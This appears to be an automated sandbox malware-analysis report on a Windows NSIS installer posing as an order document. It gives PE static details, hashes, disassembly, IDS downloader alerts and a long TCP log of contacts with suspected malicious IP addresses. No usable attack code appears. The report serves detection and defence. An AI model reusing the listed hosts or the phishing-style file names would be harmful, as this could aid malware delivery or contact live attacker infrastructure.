Joe Sandbox View:	Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse Filename: rTransferenciarealizada451236.exe, Detection: malicious, Browse Filename: rTransferenciarealizada451236.exe, Detection: malicious, Browse Filename: Purchase Order Purchase Order Purchase Order Purchase Order.exe, Detection: malicious, Browse Filename: Purchase Order Purchase Order Purchase Order Purchase Order.exe, Detection: malicious, Browse Filename: MG-Docu6800001.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.740938089552925
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ORDER 20240986 OA.exe
File size:	560'512 bytes
MD5:	9f036462b07002efdf646b0995217bbd
SHA1:	fbfd528f12735ecfa48f4d0fde42aef883e1c678
SHA256:	491cf03511ae77ed758d9b36f3237da0ef099370144ed61367146fee1c2bacee
SHA512:	860bb827f413215224c55c82f4760e99dd17fada85f7da1b568dc93736cc5dd17db1825acb1e18aad9b0e3c4e58649ef2a1f8227de25487970d06f2a2a21517c
SSDEEP:	12288:32EINTjsFYs9KzQ1HCgL/g4BC5fxjlzyZmd3ZhZv:3w5sxszMHLIvtyZmdPZv
TLSH:	38C4E050F15DE8D7F52B25B14C7ED530149BAB2C95B8520E32AA7A1E69E334310AFE0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....oZ.................d....:....

File Icon


Icon Hash:	38206a6a62666429

Static PE Info

General

Entrypoint:	0x40336c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5A6FED1F [Tue Jan 30 03:57:19 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007F6DB1371423h
push ebx
call 00007F6DB13746D5h
cmp eax, ebx
je 00007F6DB1371419h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F6DB137464Fh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F6DB13713FCh
push 0000000Ah
call 00007F6DB13746A8h
push 00000008h
call 00007F6DB13746A1h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007F6DB1374695h
cmp eax, ebx
je 00007F6DB1371421h
push 0000001Eh
call eax
test eax, eax
je 00007F6DB1371419h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c7000	0x17000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6400	0x6400	eed0986138e3ef22dbb386f4760a55c0	False	0.6783203125	data	6.511089687733535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	2914bac53cd4485c9822093463e4eea6	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	09e0c528682cd2747c63b7ba39c2cc23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x1e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c7000	0x17000	0x17000	c8f8279129ad38fd03ee7b50a97e5aea	False	0.21903659986413043	data	5.096977274603887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3c7388	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3c76f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.16976221459836743
RT_ICON	0x3d7f18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.32863070539419087
RT_ICON	0x3da4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.42424953095684803
RT_ICON	0x3db568	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.30730277185501065
RT_ICON	0x3dc410	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.32445848375451264
RT_ICON	0x3dccb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2579479768786127
RT_ICON	0x3dd220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6374113475177305
RT_DIALOG	0x3dd688	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3dd7d0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x3dd910	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3dda10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3ddb30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ddbf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3ddc58	0x68	data	English	United States	0.7211538461538461
RT_MANIFEST	0x3ddcc0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T09:01:22.011646+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49783	167.250.5.91	443	TCP
2024-11-21T09:01:26.473582+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49794	158.101.44.242	80	TCP
2024-11-21T09:01:29.129872+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49794	158.101.44.242	80	TCP
2024-11-21T09:01:30.740019+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49806	188.114.96.3	443	TCP
2024-11-21T09:01:32.301732+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49812	158.101.44.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 09:01:19.781229019 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:19.781292915 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:19.781399965 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:19.793339968 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:19.793359041 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:21.285192966 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:21.285294056 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:21.340665102 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:21.340708971 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:21.341073036 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:21.341142893 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:21.346440077 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:21.387336016 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.011671066 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.011714935 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.011748075 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.011780977 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.011801958 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.011837006 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.012099981 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.012176991 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.103574038 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.103600979 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.103667021 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.103703976 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.103734970 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.103749990 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.206017017 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.206046104 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.206090927 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.206124067 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.206137896 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.206167936 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.279685974 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.279712915 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.279766083 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.279793024 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.279808044 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.279841900 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.307468891 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.307497025 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.307570934 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.307600975 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.307650089 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.330885887 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.330914021 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.330965996 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.330976963 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.331016064 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.331034899 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.400980949 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.401002884 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.401102066 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.401133060 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.401184082 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.461359024 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.461384058 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.461435080 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.461469889 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.461488008 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.461512089 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.477374077 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.477395058 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.477459908 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.477483988 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.477526903 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.489284039 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.489304066 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.489357948 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.489381075 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.489393950 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.489442110 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.504374981 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.504394054 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.504466057 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.504486084 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.504527092 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.515858889 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.515896082 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.515934944 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.515954018 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.515984058 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.516021967 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.536968946 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.536990881 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.537066936 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.537092924 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.537136078 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.593091011 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.593108892 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.593174934 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.593204021 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.593781948 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.645174026 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.645200968 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.645314932 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.645349026 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.646579027 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.652040005 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.652062893 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.652133942 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.652151108 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.652178049 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.652198076 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.659863949 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.659908056 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.659948111 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:22.659956932 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.660010099 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.660260916 CET	49783	443	192.168.2.4	167.250.5.91
Nov 21, 2024 09:01:22.660281897 CET	443	49783	167.250.5.91	192.168.2.4
Nov 21, 2024 09:01:24.347749949 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:24.467793941 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:24.467952013 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:24.468339920 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:24.587845087 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:26.018054962 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:26.024735928 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:26.144179106 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:26.421597958 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:26.473582029 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:26.923718929 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:26.923824072 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:26.923912048 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:26.928208113 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:26.928241014 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.189861059 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.189944983 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:28.193695068 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:28.193717957 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.194005966 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.198031902 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:28.239336014 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.665993929 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.666071892 CET	443	49800	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:28.666169882 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:28.671993971 CET	49800	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:28.678023100 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:28.797528982 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:29.078656912 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:29.081666946 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:29.081727028 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:29.081809998 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:29.082037926 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:29.082052946 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:29.129872084 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.294297934 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:30.296341896 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:30.296377897 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:30.740039110 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:30.740118027 CET	443	49806	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:30.740164995 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:30.740811110 CET	49806	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:30.744973898 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.746169090 CET	49812	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.864969969 CET	80	49794	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:30.865060091 CET	49794	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.865660906 CET	80	49812	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:30.865753889 CET	49812	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.865945101 CET	49812	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:30.985569000 CET	80	49812	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:32.249574900 CET	80	49812	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:32.251013994 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:32.251060963 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:32.251130104 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:32.251410007 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:32.251425028 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:32.301732063 CET	49812	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:33.507550955 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:33.513370991 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:33.513396978 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:33.960309029 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:33.960382938 CET	443	49814	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:33.960443020 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:33.961101055 CET	49814	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:33.965801001 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:34.085277081 CET	80	49819	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:34.085608006 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:34.085762024 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:34.205190897 CET	80	49819	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:35.369781017 CET	80	49819	158.101.44.242	192.168.2.4
Nov 21, 2024 09:01:35.371172905 CET	49825	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:35.371232986 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:35.371308088 CET	49825	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:35.371598959 CET	49825	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:35.371613979 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:35.411140919 CET	49819	80	192.168.2.4	158.101.44.242
Nov 21, 2024 09:01:36.581744909 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:36.583626986 CET	49825	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:36.583656073 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:37.027009964 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:37.027085066 CET	443	49825	188.114.96.3	192.168.2.4
Nov 21, 2024 09:01:37.027127981 CET	49825	443	192.168.2.4	188.114.96.3
Nov 21, 2024 09:01:37.027545929 CET	49825	443	192.168.2.4	188.114.96.3
